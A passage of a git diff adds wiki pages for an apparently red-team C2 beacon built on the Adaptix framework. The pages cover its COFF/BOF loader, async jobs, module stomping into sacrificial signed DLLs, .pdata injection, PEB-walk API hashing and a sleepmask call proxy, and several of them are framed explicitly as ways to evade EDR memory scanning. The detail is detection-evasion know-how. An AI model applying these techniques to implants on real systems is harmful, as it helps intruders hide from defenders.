checks elapsed time and calls `NaxJobKill()` if exceeded. + +**Kill**: Sets `hStopEvent` (cooperative) then waits 500 ms for the thread to exit. If the thread does not exit, the job is marked as abandoned. `TerminateThread` is intentionally avoided because it corrupts ntdll's thread pool state and crashes the process. + +**Abandoned jobs**: The thread is left running. Partial output is snapshot from `BofCtx` and the main-thread context is restored. Resources are intentionally leaked (a few KB) - a dead beacon is worse than a small leak. + +### Job Result Wire Format + +Each heartbeat can carry multiple job frames: + +``` +[type(1)][task_id(4LE)][data_len(4LE)][data...] +``` + +Type bytes: + +| Type | Meaning | +|------|---------| +| `NAX_JOB_OUTPUT` | Incremental output from a running job | +| `NAX_JOB_COMPLETE` | Final output - job finished normally | +| `NAX_JOB_KILLED` | Final output - job was killed or timed out | + +The final drain (COMPLETE or KILLED) includes a 2-byte stomp metadata prefix (`[stomped(1)][slot_idx(1)]`) before the output payload. + +## Task Wire Format + +The `CMD_BOF` (0x20) task arguments: + +``` +async_flag(1) | timeout_secs(4LE) | bof_size(4LE) | bof_bytes | user_args_size(4LE) | user_args +``` + +| Field | Size | Description | +|-------|------|-------------| +| `async_flag` | 1 byte | 0x00 = sync, non-zero = async | +| `timeout_secs` | 4 bytes LE | Async timeout (0 = default 60s) | +| `bof_size` | 4 bytes LE | Size of COFF object data | +| `bof_bytes` | variable | Raw COFF .o file content | +| `user_args_size` | 4 bytes LE | Size of packed BOF arguments | +| `user_args` | variable | Packed arguments (bof_pack format) | + +## Result Wire Format + +BOF results support text output, media entries (screenshots, downloads), or both. + +**Text only** (no media): + +``` +[stomp_status(1)][stomp_slot(1)][text_bytes...] +``` + +**Media + text** (compound): + +``` +[stomp_status(1)][stomp_slot(1)][media_entry]...[0x00][text_len(4LE)][text] +``` + +**Media only**: + +``` +[stomp_status(1)][stomp_slot(1)][media_entry]... +``` + +## Operator Usage + +From the Adaptix operator UI: + +``` +bof /path/to/file.x64.o [args] # synchronous execution +bof -a /path/to/file.x64.o [args] # asynchronous execution +``` + +Arguments are packed on the server side using `ax.bof_pack()` in AxScript: + +```javascript +var packed = ax.bof_pack("iZz", [pid, wide_path, ansi_name]); +``` + +Pack type characters: + +| Type | Character | Description | +|------|-----------|-------------| +| `bytes` | `b` | Raw byte buffer | +| `int` | `i` | 4-byte LE integer | +| `short` | `s` | 2-byte LE short | +| `cstr` | `z` | Null-terminated ANSI string (length-prefixed on wire) | +| `wstr` | `Z` | Null-terminated wide string (length-prefixed on wire) | + +## Writing a BOF + +A minimal BOF: + +```c +#include "beacon.h" + +void go(char* args, int alen) { + datap parser; + BeaconDataParse(&parser, args, alen); + int pid = BeaconDataInt(&parser); + + BeaconPrintf(CALLBACK_OUTPUT, "target pid: %d\n", pid); +} +``` + +To call Win32 APIs, declare them with the `MODULE$FUNCTION` convention: + +```c +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD); + +void go(char* args, int alen) { + HANDLE h = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, 1234); + // ... +} +``` + +The loader strips the `__imp_` prefix, splits at `$`, resolves the module via PEB walk (or `LoadLibraryA` if not loaded), and resolves the function via `GetProcAddress`. + +## COFF Structures + +For reference, the COFF structures parsed by the loader (from `Bof.h`): + +```c +typedef struct _COF_HEADER { + UINT16 Machine; // 0x8664 (AMD64) or 0x014C (i386) + UINT16 NumberOfSections; + UINT32 TimeDateStamp; + UINT32 PointerToSymbolTable; + UINT32 NumberOfSymbols; + UINT16 SizeOfOptionalHeader; + UINT16 Characteristics; +} COF_HEADER; + +typedef struct _COF_SECTION { + CHAR Name[8]; + UINT32 VirtualSize; + UINT32 VirtualAddress; + UINT32 SizeOfRawData; + UINT32 PointerToRawData; + UINT32 PointerToRelocations; + UINT32 PointerToLineNumbers; + UINT16 NumberOfRelocations; + UINT16 NumberOfLinenumbers; + UINT32 Characteristics; +} COF_SECTION; + +typedef struct _COF_SYMBOL { + union { + CHAR cName[8]; // short name (<=8 bytes) + struct { UINT32 Short; UINT32 Long; }; // Short==0 -> Long is strtab offset + }; + UINT32 Value; + INT16 SectionNumber; + UINT16 Type; + BYTE StorageClass; + BYTE NumberOfAuxSymbols; +} COF_SYMBOL; + +typedef struct _COF_RELOCATION { + UINT32 VirtualAddress; // offset within the section + UINT32 SymbolTableIndex; + UINT16 Type; // IMAGE_REL_AMD64_* or IMAGE_REL_I386_* +} COF_RELOCATION; +``` + +## Source Files + +| Path | Description | +|------|-------------| +| `src_beacon/include/Bof.h` | COFF structures, Beacon API declarations, constants | +| `src_beacon/src/Bof/Loader.c` | Unity build root: COFF loader + relocation engine | +| `src_beacon/src/Bof/Api.c` | Beacon API implementations | +| `src_beacon/src/Bof/Stomp.c` | Module stomping allocator and slot management | +| `src_beacon/src/Commands/Bof.c` | `CMD_BOF` command handler (sync/async dispatch) | +| `src_beacon/src/Commands/BofStomp.c` | `CMD_BOF_STOMP` runtime reconfiguration handler | +| `src_beacon/src/Commands/Jobs.c` | Async job manager (create, start, kill, drain, list) | diff --git a/wiki/BOF-Module-Stomping.md b/wiki/BOF-Module-Stomping.md new file mode 100644 index 0000000..853c6c8 --- /dev/null +++ b/wiki/BOF-Module-Stomping.md @@ -0,0 +1,387 @@ +# BOF Module Stomping + +BOF (Beacon Object File) execution normally allocates private memory with `PAGE_EXECUTE_READWRITE` for the BOF's `.text` section. Even when the beacon itself runs from image-backed memory via loader-phase module stomping, every BOF invocation creates a fresh private executable allocation -- a top indicator for EDR memory scanners. BOF module stomping eliminates this by running BOF code from the `.text` section of a pre-loaded sacrificial DLL, so execution happens from `IMAGE`-backed memory at `PAGE_EXECUTE_READ` with no RWX anywhere. + +This is distinct from [loader-phase module stomping](Module-Stomping), which stomps the beacon shellcode itself into a DLL at load time. BOF module stomping operates per-execution at runtime, stomping and restoring DLL content around each BOF call. + +## Architecture Overview + +``` + BOF_STOMP_POOL (in NAX_INSTANCE) + +-------------------------------+ + | SyncSlot | <-- main thread BOFs + | DllBase = chakra.dll | + | TextBase = .text section | + | TextCap = section size | + | TextBackup = original bytes | + | PdataBase / PdataBackup | + +-------------------------------+ + | AsyncSlots[0..3] | <-- thread pool BOFs + | [0] jscript9.dll | + | [1] d3d11.dll | + | [2] (empty) | + | [3] (empty) | + +-------------------------------+ + | AsyncCount = 2 | + | Initialized = TRUE | + +-------------------------------+ +``` + +Each slot holds a handle to a sacrificial DLL loaded with `DONT_RESOLVE_DLL_REFERENCES` (no DllMain, no imports resolved). The sync slot serves the main heartbeat thread; async slots serve the BOF thread pool for concurrent `-a` (async) BOF jobs. + +### Data Structures + +From `Instance.h`: + +```c +typedef struct { + PVOID DllBase; /* LoadLibraryExW return value */ + PVOID TextBase; /* DllBase + .text VirtualAddress */ + ULONG TextCap; /* .text SizeOfRawData or VirtualSize */ + PIMAGE_NT_HEADERS Nt; /* cached PE headers */ + BYTE InUse; /* slot currently occupied by a BOF */ + PVOID TextBackup; /* heap copy of original .text bytes */ + PVOID PdataBase; /* DllBase + .pdata VirtualAddress */ + ULONG PdataSize; /* .pdata section size */ + PVOID PdataBackup; /* heap copy of original .pdata bytes */ +} BOF_STOMP_SLOT; + +typedef struct { + BOF_STOMP_SLOT SyncSlot; + BOF_STOMP_SLOT AsyncSlots[ BOF_STOMP_ASYNC_MAX ]; /* max 4 */ + BYTE AsyncCount; + BYTE Initialized; +} BOF_STOMP_POOL; +``` + +## Build-Time Configuration + +BOF stomping is controlled by compile-time macros in `Config.h`, generated from the Adaptix build UI: + +| Macro | Purpose | +|-------|---------| +| `NAX_BOF_STOMP` | `1` to enable, `0` to disable | +| `NAX_BOF_SYNC_DLL_WRITE(p)` | Per-byte WCHAR MOVs for the sync DLL name | +| `NAX_BOF_ASYNC_COUNT` | Number of async DLLs (0-4) | +| `NAX_BOF_ASYNC_N_WRITE(p)` | Per-byte WCHAR MOVs for each async DLL name | + +The `_WRITE` macro pattern is required because PIC shellcode cannot have string literals in `.rdata`. Each DLL name is written to the stack as individual `MOV` instructions: + +```c +#define NAX_BOF_SYNC_DLL_WRITE( p ) do { \ + (p)[ 0]=L'w'; (p)[ 1]=L'm'; (p)[ 2]=L'p'; (p)[ 3]=L'.'; \ + (p)[ 4]=L'd'; (p)[ 5]=L'l'; (p)[ 6]=L'l'; \ + (p)[ 7]=L'\0'; \ +} while(0) +``` + +Default DLL choices: +- **Sync**: `chakra.dll` (large .text, commonly present on Windows 10+) +- **Async pool**: `jscript9.dll`, `mshtml.dll`, `d3d11.dll` (large .text sections, common system DLLs) + +## Lifecycle + +Every BOF execution follows this six-stage pipeline. If stomping is disabled or fails at any point, the COFF loader falls back to private `PAGE_EXECUTE_READWRITE` allocations transparently. + +``` + Init (once) Alloc (per BOF) Protect Pdata Execute Free + +-----------+ +---------------+ +-----------+ +----------+ +---------+ +-----------+ + | Load DLLs | | Pick slot | | .text->RX | | Inject | | Call | | Restore | + | Find .text| | Stomp .text | | rest->RW | | into DLL | | go() | | .text | + | Backup all| -> | Near-alloc | ->| No RWX |->| .pdata |->| |-> | .pdata | + | .text | | rest + mfuncs | | | | | | | | Free priv | + | Backup | | Zero .pdata | | | | | | | | Mark free | + | .pdata | | | | | | | | | | | + +-----------+ +---------------+ +-----------+ +----------+ +---------+ +-----------+ +``` + +### Stage 1: Init (`NaxBofStompInit`) + +Called once during beacon bootstrap, after config init. Loads every configured DLL and initializes its slot: + +1. `LoadLibraryExW(dllName, NULL, DONT_RESOLVE_DLL_REFERENCES)` -- loads the DLL into the process as a mapped image without calling DllMain or resolving imports +2. Walks the PE section headers to find `.text` -- caches `TextBase` and `TextCap` +3. Heap-allocates `TextBackup` and copies the original `.text` content +4. Locates `.pdata` via `IMAGE_DIRECTORY_ENTRY_EXCEPTION`, heap-allocates `PdataBackup` and copies it + +Individual DLL failures do not disable the whole feature. If the sync DLL fails but two of three async DLLs succeed, async BOFs still stomp while sync BOFs fall back to private memory. + +### Stage 2: Alloc (`NaxBofStompAlloc`) + +Called per BOF execution from `NaxBofAllocSections`. Determines whether stomping is possible and sets up all memory. + +**Slot selection:** +- If `CurrentJob == NULL` (main heartbeat thread) -- use `SyncSlot` +- If `CurrentJob != NULL` (async thread pool) -- scan `AsyncSlots[]` for the first slot where `InUse == FALSE` and `TextCap >= textNeed` + +**If no slot is available** (all in use, or BOF .text exceeds capacity), returns `FALSE` and the COFF loader uses the private-memory path. + +**Stomping .text:** +``` +VirtualProtect(TextBase, TextCap, PAGE_READWRITE) +MmZero(TextBase, TextCap) -- clear previous content +MmCopy(TextBase, bof_text, text_size) -- write BOF .text bytes +``` + +**Near-allocating non-.text sections:** BOF sections other than `.text` (`.data`, `.bss`, `.rdata`, `.pdata`, `.xdata`) cannot be stomped into the DLL -- they need `PAGE_READWRITE` and may differ in size. These are allocated as private memory via `StompAllocNear`, which places them within +/-16MB of the DLL image. + +**Near-allocating mapFunctions:** The external-symbol IAT (mapFunctions buffer, 4096 bytes) is also near-allocated so that REL32 displacements from `.text` to the IAT slots stay well within the +/-2GB limit. + +**Zeroing .pdata:** The DLL's original `.pdata` is zeroed so stale exception data for the original DLL code does not interfere with BOF unwinding. (Restored in the Free stage.) + +### The Near Allocator (`StompAllocNear`) + +``` + 256 x 64KB backward DLL image 256 x 64KB forward + <--------------------------> |========================| <--------------------------> + scan direction: high->low | .text (BOF stomped) | scan direction: low->high + | .pdata (zeroed/injected)| + |========================| + | + non-.text sections and + mapFunctions allocated + within this +/-16MB range +``` + +The allocator tries 256 slots (each 64KB aligned) forward from the DLL's image end, then 256 slots backward from the DLL's image base. This keeps all allocations within +/-16MB -- well inside the +/-2GB limit of x86-64 REL32 relocations, and also well within the +/-16MB range needed by some near-call patterns. + +```c +/* Forward scan */ +ULONG_PTR fwd_base = ( dll_end + 0xFFFF ) & ~(ULONG_PTR)0xFFFF; +for ( UINT32 i = 0; i < 256; i++ ) { + PVOID base = (PVOID)( fwd_base + (ULONG_PTR)i * 0x10000 ); + /* NtAllocateVirtualMemory with MEM_COMMIT | MEM_RESERVE */ +} + +/* Backward scan */ +ULONG_PTR bwd_base = (ULONG_PTR)slot->DllBase & ~(ULONG_PTR)0xFFFF; +for ( UINT32 i = 1; i <= 256; i++ ) { + PVOID base = (PVOID)( bwd_base - (ULONG_PTR)i * 0x10000 ); + /* ... */ +} +``` + +### Stage 3: Protect (`NaxBofStompProtect`) + +After relocations are applied, flips the DLL's `.text` to `PAGE_EXECUTE_READ`: + +```c +VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &old ); +``` + +Non-`.text` sections remain `PAGE_READWRITE`. There is no `RWX` memory at any point during stomped BOF execution. Compare this to the fallback path, which uses `PAGE_EXECUTE_READWRITE` on all sections. + +### Stage 4: .pdata Injection (`NaxBofStompPdata`) + +This is the key innovation for clean stack unwinding. Without proper `.pdata` registration, any exception during BOF execution (or an ETW stack walk) will fail to unwind through the BOF frame, potentially crashing the process or triggering EDR alerts. + +**The IFT priority problem:** + +Windows maintains an **Inverted Function Table** (IFT) in ntdll that caches `.pdata` pointers for all loaded modules. When `RtlLookupFunctionEntry` is called for an address, it checks the IFT first. Dynamic function tables registered via `RtlAddFunctionTable` are only consulted if the IFT does not cover the address range. Since our sacrificial DLL is a loaded module, the IFT already indexes it -- and will always handle lookups for addresses in the DLL's range. Any `RtlAddFunctionTable` entries for the same range are never consulted. + +**The solution:** Write BOF `RUNTIME_FUNCTION` entries directly into the DLL's `.pdata` section. The IFT already points there, so the unwinder finds our entries through the normal lookup path. + +``` +DLL's .pdata section (after zeroing + injection): ++---------------------------------------------------+ +| [0] BeginAddress=0, EndAddress=0, UnwindData=0 | <- zeroed (original entries) +| [1] BeginAddress=0, EndAddress=0, UnwindData=0 | +| ... | +| [N-k] BOF RUNTIME_FUNCTION entry 0 (adjusted RVA) | <- injected at END +| [N-k+1] BOF RUNTIME_FUNCTION entry 1 | +| ... | +| [N-1] BOF RUNTIME_FUNCTION entry k-1 | ++---------------------------------------------------+ +``` + +Entries go at the **end** of the `.pdata` array. Zeroed entries (BeginAddress=0) sort before valid entries in the IFT's binary search, so appending BOF entries at the tail preserves correct ordering. + +**RVA adjustment:** BOF COFF produces RVAs relative to `image_base` (the lowest allocated section address). The IFT expects RVAs relative to `DllBase`. The adjustment is: + +```c +ULONG adj = (ULONG)( image_base - (ULONG_PTR)slot->DllBase ); + +for ( DWORD i = 0; i < srcCount; i++ ) { + dst[startIdx + i].BeginAddress = src[i].BeginAddress + adj; + dst[startIdx + i].EndAddress = src[i].EndAddress + adj; + dst[startIdx + i].UnwindData = src[i].UnwindData + adj; +} +``` + +If injection fails (e.g., `.pdata` section too small to hold BOF entries), the loader falls back to `RtlAddFunctionTable` as a best-effort measure. + +### Stage 5: Execute + +The COFF loader calls the BOF's `go()` entry point. From the OS perspective, execution is happening inside a legitimate, signed DLL's `.text` section -- `IMAGE`-backed, `PAGE_EXECUTE_READ`, with valid `.pdata` entries in the IFT. + +### Stage 6: Free (`NaxBofStompFree`) + +Restores the DLL to pristine state so it looks completely stock between executions: + +1. **Restore .text**: `VirtualProtect(RW)` -> `MmCopy(TextBackup)` -> `VirtualProtect(RX)` +2. **Restore .pdata**: `VirtualProtect(RW)` -> `MmCopy(PdataBackup)` -> `VirtualProtect(original)` +3. **Free private sections**: `NtFreeVirtualMemory` on every non-`.text` section and the mapFunctions buffer +4. **Mark slot free**: `InUse = FALSE` + +**Why restore instead of zeroing:** A DLL with a zeroed `.text` section in memory is itself an indicator of compromise. Legitimate DLLs have valid code in `.text` at all times. By restoring the original content from the heap backup, the DLL's memory matches the on-disk image byte-for-byte. The same principle applies to `.pdata` -- zeroed exception entries in a signed DLL would stand out under inspection. + +## Memory Layout Comparison + +### Without BOF stomping (fallback path) + +``` + Virtual Memory + +---------------------------+ + | Private (PRV) | + | PAGE_EXECUTE_READWRITE | <-- BOF .text + all sections + | Not backed by any file | Top EDR indicator + +---------------------------+ +``` + +### With BOF stomping + +``` + Virtual Memory + +---------------------------+ + | IMAGE (IMG) - chakra.dll | + | PAGE_EXECUTE_READ | <-- BOF .text (stomped into DLL) + | Backed by chakra.dll | Looks like legitimate DLL code + +---------------------------+ + + +---------------------------+ + | Private (PRV) | + | PAGE_READWRITE | <-- .data, .bss, .rdata, mapFunctions + | Near chakra.dll (+/-16MB) | Non-executable, non-suspicious + +---------------------------+ +``` + +## Graceful Fallback + +`NaxBofStompAlloc` returns `FALSE` whenever stomping is not possible: + +| Condition | Behavior | +|-----------|----------| +| `NAX_BOF_STOMP == 0` | Feature compiled out | +| Pool not initialized | Init failed for all DLLs | +| No free slot (all `InUse`) | All async slots occupied by concurrent BOFs | +| BOF `.text` > slot `TextCap` | BOF too large for the sacrificial DLL | +| `VirtualProtect(RW)` fails | OS denied permission change | +| Near-alloc fails | No free virtual memory in +/-16MB range | + +On fallback, the COFF loader allocates all sections as private `PAGE_EXECUTE_READWRITE` memory with `MEM_TOP_DOWN`. The operator sees `[stomp: private fallback]` in the BOF result output. + +Cleanup on partial failure is thorough: if near-allocation fails for section N, sections 0..N-1 are freed, the DLL's `.text` is restored from backup, and the slot is not marked in-use. + +## Operator Feedback + +Each BOF result includes a 2-byte metadata header recording the stomp status: + +| Byte 0 (`Stomped`) | Byte 1 (`StompSlot`) | Server-side display | +|---------------------|----------------------|---------------------| +| `0x01` | `0xFF` | `[stomp: chakra.dll]` (sync) | +| `0x01` | `0x00` | `[stomp: jscript9.dll (async slot 0)]` | +| `0x01` | `0x01` | `[stomp: d3d11.dll (async slot 1)]` | +| `0x00` | `0x00` | `[stomp: private fallback]` | + +Set in `NaxBofExecute` after allocation: + +```c +Nax->BofCtx.Stomped = stomped ? 0x01 : 0x00; +Nax->BofCtx.StompSlot = stomped + ? ( Nax->CurrentJob ? Nax->CurrentJob->StompSlotIdx : 0xFF ) + : 0x00; +``` + +## Runtime Reconfiguration + +The `bof-stomp` command (`NAX_CMD_BOF_STOMP`, ID `0x31`) allows operators to swap sacrificial DLLs on a live beacon without redeployment. + +### Wire Format + +``` +sub_cmd(1 byte) | payload... +``` + +| Sub-command | Code | Payload | Effect | +|-------------|------|---------|--------| +| sync | `0x00` | `wchar_len(4LE)` + WCHAR bytes | Replace the sync DLL | +| async | `0x01` | `count(1)` + `[wchar_len(4LE) + WCHAR bytes]...` | Replace entire async pool | +| show | `0x02` | (empty) | Display current config and slot status | + +### Sync swap + +Unloads the current sync DLL (frees backups, calls `FreeLibrary`), loads the new DLL, re-caches `.text` and `.pdata`, creates fresh backups. Updates `NAX_CONFIG.BofSyncDll` so the change persists across sleep cycles. + +### Async pool swap + +Unloads all async DLLs that are not currently `InUse`, resets the pool, then loads the new set. Slots that are currently occupied by a running async BOF are skipped (not unloaded) to avoid corrupting in-flight execution. + +### Show output + +``` +BOF Stomping: enabled +Sync DLL: wmp.dll (.text cap=524288) +Async DLLs: 2 + [0] jscript9.dll (.text cap=1048576) + [1] d3d11.dll (.text cap=786432 IN USE) +``` + +## DLL Selection Guidelines + +The sacrificial DLL's `.text` section must be large enough to hold the BOF's `.text`. Good candidates: + +| DLL | Typical .text size | Notes | +|-----|--------------------|-------| +| `chakra.dll` | ~2 MB | Edge Legacy JS engine, present on Win10+ | +| `jscript9.dll` | ~1 MB | IE JS engine, widely available | +| `mshtml.dll` | ~5 MB | IE HTML renderer, very large .text | +| `d3d11.dll` | ~800 KB | DirectX, common on desktops | +| `wmp.dll` | ~500 KB | Windows Media Player | + +Criteria for choosing DLLs: +- **Large `.text` section** -- accommodates bigger BOFs without fallback +- **Commonly loaded** -- the DLL appearing in a process's module list should not be unusual +- **Rarely inspected** -- avoid DLLs that security tools specifically monitor +- **Stable across Windows versions** -- present on Win10 through Win11 23H2+ + +Use `bof-stomp show` on a live beacon to check actual `.text` capacity after loading. + +## Integration with the COFF Loader + +The COFF loader in `Bof/Loader.c` calls into stomping at well-defined points: + +``` +NaxBofExecute() + | + +-- NaxBofAllocSections() + | | + | +-- NaxBofStompAlloc() -- try stomp; if FALSE, use private alloc + | + +-- NaxBofProcessRelocations() -- same for both paths + | + +-- if stomped: + | +-- NaxBofStompProtect() -- .text -> RX + | +-- NaxBofStompPdata() -- inject into DLL .pdata (or RtlAddFunctionTable fallback) + | else: + | +-- NtProtectVirtualMemory(RWX) on all sections + | + +-- go(args, args_len) -- call BOF entry point + | + +-- if stomped: + | +-- NaxBofStompFree() -- restore DLL, free private sections + | else: + | +-- NtFreeVirtualMemory() on all sections +``` + +The stomping path and the private-memory path share the same relocation engine and entry-point resolution. The only differences are allocation strategy, memory protections, and `.pdata` handling. + +## Source Files + +| File | Purpose | +|------|---------| +| `src_beacon/src/Bof/Stomp.c` | Core stomping logic: init, alloc, protect, pdata, free | +| `src_beacon/src/Bof/Loader.c` | COFF loader (unity build includes Stomp.c and Api.c) | +| `src_beacon/src/Commands/BofStomp.c` | Runtime `bof-stomp` command handler | +| `src_beacon/include/Instance.h` | `BOF_STOMP_SLOT`, `BOF_STOMP_POOL`, `NAX_BOF_CTX` structs | +| `src_beacon/include/Config.h` | Build-time `NAX_BOF_STOMP`, `NAX_BOF_SYNC_DLL_WRITE` macros | +| `src_beacon/include/Wire.h` | `NAX_CMD_BOF_STOMP` (0x31) command ID | diff --git a/wiki/Beacon-Architecture.md b/wiki/Beacon-Architecture.md new file mode 100644 index 0000000..d495af8 --- /dev/null +++ b/wiki/Beacon-Architecture.md @@ -0,0 +1,133 @@ +# Beacon Architecture + +The beacon is position-independent shellcode - a single `.text` section with no CRT, no imports table, and no static data. All state lives in a heap-allocated `NAX_INSTANCE` struct, and all Windows APIs are resolved at runtime via PEB walk using FNV1a-32 hashes. + +## NAX_INSTANCE + +Every beacon function accesses state through a pointer to `NAX_INSTANCE`, stored in `TEB->NtTib.ArbitraryUserPointer` and recovered via the `G_INSTANCE` macro. The struct contains: + +| Field | Purpose | +|-------|---------| +| `SessionId[17]` | 16 hex chars + NUL, generated at boot | +| `Config` (NAX_CONFIG) | All runtime-configurable fields: sleep, jitter, AES key, C2 URL, profile, BOF stomp settings | +| `Heap` | Private heap for all beacon allocations | +| `hSession` / `hConnect` | Persistent WinHTTP handles, reused across heartbeats | +| `Ntdll`, `Kernel32`, `Bcrypt`, `Winhttp`, ... | DLL bundles - each holds only resolved function pointers from that DLL | +| `BofCtx` | Current BOF execution context (output buffer, media list) | +| `BofStompPool` | BOF module stomping slot pool (sync + async DLLs) | +| `JobHead` / `CurrentJob` | Linked list of async BOF jobs | +| `PivotHead` | SMB pivot linked list | +| `Ws2` (NAX_WS2) | Lazy-loaded winsock2 function pointers | +| `TunnelHead` | Tunnel channel linked list | + +### DLL Bundles + +Each DLL has a dedicated struct (e.g., `NAX_KERNEL32`, `NAX_NTDLL`) containing only the function pointers resolved from that DLL. The `D_API(FuncName)` macro expands to `__typeof__(FuncName)* FuncName`, giving type-safe function pointers. + +Resolution happens once in `NaxBootstrap()`: +```c +Nax->Kernel32.Handle = NaxGetModule( H_KERNEL32 ); +Nax->Kernel32.LoadLibraryW = NaxGetProc( Nax->Kernel32.Handle, H_LOADLIBRARYW ); +// ... all other APIs +``` + +To add a new API: add `D_API(NewFunc)` at the END of the bundle struct in `Instance.h`, then `NAX_RESOLVE(Nax->BundleName, NewFunc)` in `Bootstrap.c`. + +## Execution Flow + +### 1. Bootstrap + +`NaxBootstrap()` runs once after the loader transfers execution: + +1. **PEB walk** - Resolve base addresses of NTDLL and KERNEL32 from `PEB->Ldr->InMemoryOrderModuleList` +2. **API resolution** - Walk export tables using FNV1a-32 hashes to find each function pointer +3. **Heap creation** - `HeapCreate(0, 0, 0)` for a private beacon heap +4. **Instance allocation** - `RtlAllocateHeap` for `NAX_INSTANCE`, store pointer in `TEB->ArbitraryUserPointer` +5. **Remaining DLLs** - Load WINHTTP, BCRYPT, ADVAPI32, IPHLPAPI, USER32, GDI32 via `LoadLibraryW` and resolve their APIs +6. **Config init** - `NaxConfigInit()` populates `NAX_CONFIG` from compile-time macros +7. **BOF stomp init** - `NaxBofStompInit()` loads sacrificial DLLs for BOF module stomping +8. **System info** - Hostname, username, domain, IP, PID/TID, OS version, process name, elevation, code pages + +### 2. Register (retry loop) + +The beacon builds a REGISTER frame containing all system info and POSTs it to the C2. The server responds with: +- A PROFILE frame (`0x82`) containing the runtime malleable C2 profile +- A NO_TASKS frame confirming registration + +Registration retries indefinitely with the configured sleep interval until the server responds. + +### 3. Heartbeat Loop + +``` +loop: + Sleep(SleepMs +/- Jitter%) + Build HEARTBEAT frame -> encrypt -> HTTP GET/POST + Decrypt response -> walk TASK frames + For each TASK: + NaxDispatch() -> execute command handler + Build RESULT frame -> encrypt -> HTTP POST +``` + +The heartbeat loop runs forever. Each cycle: +1. Sleeps for the configured interval (with jitter) +2. Checks in with the C2 (GET for heartbeat, POST if there are pending results) +3. Processes any queued tasks synchronously (or dispatches to the async job pool for BOFs with `-a`) +4. Sends results back immediately after each command completes + +### Tunnel Processing + +After command dispatch and pivot/job collection, the heartbeat loop calls `NaxProcessTunnels()` if any tunnels are active. This is a four-phase pipeline: + +1. **Check** -- Poll connecting sockets (`select` writefds), accept reverse listeners (`select` readfds), transition states +2. **Flush** -- Send buffered write data on READY sockets +3. **Recv** -- Read from READY sockets (max 16 reads/socket, 4MB total cap, 2.5s time budget), pack WRITE_TCP entries +4. **Cleanup** -- Graceful shutdown with 1-second close timer + +Tunnel results are batched into a single RESULT frame per heartbeat with `TaskId=0` and `Status=0x20` (STATUS_TUNNEL). + +For SMB beacons, tunnel results are sent through the parent's pipe instead of HTTP POST. The `WaitForMultipleObjects` timeout is capped to 100ms when tunnels are active to ensure socket polling. + +### WS2 Lazy Loading + +`ws2_32.dll` is NOT linked or loaded at boot. `NaxEnsureWs2()` loads it on the first tunnel command using PEB walk (`NaxGetModule`) with `LoadLibraryW` fallback, then resolves all winsock APIs into the `NAX_WS2` struct. The PE import table shows no ws2_32 dependency. + +### Persistent HTTP Handles + +WinHTTP session and connection handles are reused across heartbeats for performance. If the sleep interval exceeds `NAX_HTTP_STALE_MS` (60 seconds), handles are closed and recreated on the next heartbeat to avoid stale connections. + +## PIC Constraints + +| Rule | Rationale | +|------|-----------| +| No static/global variables | Shellcode has no `.bss` segment | +| No CRT calls | No `memcpy`, `strlen` - use `MmCopy`, `MmZero`, manual loops | +| No string literals | Use char arrays or `_WRITE` macros: per-byte MOVs | +| All Win32 via NAX_INSTANCE | Never call APIs directly - always through resolved function pointers | +| New struct fields go LAST | Mid-struct insertion silently shifts all subsequent offsets | +| `make clean && make` after header changes | Stale objects with wrong offsets cause runtime corruption | +| Heap-allocate large buffers | Stack arrays > 1KB risk overflow in PIC context | + +### String Handling + +Since `.rdata` doesn't exist in PIC, string constants must be written as stack-allocated char arrays: + +```c +// Wrong - goes to .rdata +const char* msg = "hello"; + +// Correct - stays in .text as immediate MOVs +CHAR msg[] = { 'h', 'e', 'l', 'l', 'o', '\0' }; +``` + +For build-time configuration strings, the `_WRITE(p)` macro pattern generates per-byte MOV instructions: +```c +#define NAX_C2_URL_WRITE(p) do { (p)[0]='h'; (p)[1]='t'; (p)[2]='t'; ... } while(0) +``` + +### API Hash Resolution + +`NaxHashStr` uppercases the input before hashing with FNV1a-32. When computing hashes manually (e.g., with `tools/hash.py`), always pass the uppercase form: + +```bash +python3 src_beacon/tools/hash.py LOADLIBRARYW VIRTUALPROTECT +``` diff --git a/wiki/BeaconGate-Sleepmask.md b/wiki/BeaconGate-Sleepmask.md new file mode 100644 index 0000000..d88bd9b --- /dev/null +++ b/wiki/BeaconGate-Sleepmask.md @@ -0,0 +1,518 @@ +# BeaconGate & Sleepmask + +BeaconGate is an API call proxy that routes sensitive WinAPI calls through a sleepmask BOF instead of calling them directly from beacon code. This ensures the beacon's call stack never appears in EDR telemetry for intercepted API calls. + +## How It Works + +### The Problem + +When the beacon calls `Sleep()`, the call stack shows beacon code sitting in private (PRV) memory calling kernel32. EDR tools flag this - legitimate threads sleep from image-backed (IMG) code, not from anonymous shellcode regions. + +### The Solution + +Instead of calling `Sleep()` directly, the beacon calls a **gate wrapper** (`NaxGateSleep`) which builds a `FUNCTION_CALL` struct describing the intended API call, then routes it through a **sleepmask BOF** loaded into image-backed memory via module stomping. The sleepmask executes the API on the beacon's behalf. + +``` +Beacon heartbeat loop + └── Nax->Kernel32.Sleep(ms) // actually calls NaxGateSleep + └── NaxGateSleep(ms) + ├── builds FUNCTION_CALL { GateApi=SLEEP, FunctionPtr=real_Sleep, Args[0]=ms } + └── calls Nax->Gate(Nax, &fc) // sleep_mask BOF entry + └── sleep_mask(NaxPtr, FnCall) + └── HandleSleep(FnCall) + └── NtWaitForSingleObject(hEvent, FALSE, &timeout) +``` + +### Architecture Overview + +``` +┌─────────────────────┐ +│ Adaptix UI │ ← operator picks gated APIs from a list +│ BeaconGate tab │ +└────────┬────────────┘ + │ gate_apis = ["Sleep", "WaitForSingleObject", ...] + ▼ +┌─────────────────────┐ +│ Go plugin │ ← emits #define NAX_GATE_SLEEP, NAX_GATE_WAITFORSINGLEOBJECT, ... +│ pl_build.go │ ← compiles sleepmask BOF → embeds in Config_sleepmask.h +└────────┬────────────┘ + │ + ┌────┴────────────────────────────┐ + │ │ + ▼ ▼ +┌────────────────────┐ ┌──────────────────────┐ +│ src_beacon/ │ │ src_sleepmask/ │ +│ Gate.h │ │ Gate.h (own copy) │ +│ Instance.h │ │ main.c │ +│ • NAX_GATE_ │ │ • HandleSleep │ +│ ORIGINALS │ │ • HandleWFSO │ +│ Sleepmask.c │ │ • HandleWFMO │ +│ • gate wrappers │ │ • HandleGeneric │ +│ • NaxSleepmaskInit│ │ │ +│ • NaxSleepmaskWire│ │ │ +└────────────────────┘ └──────────────────────┘ + ▲ struct layout 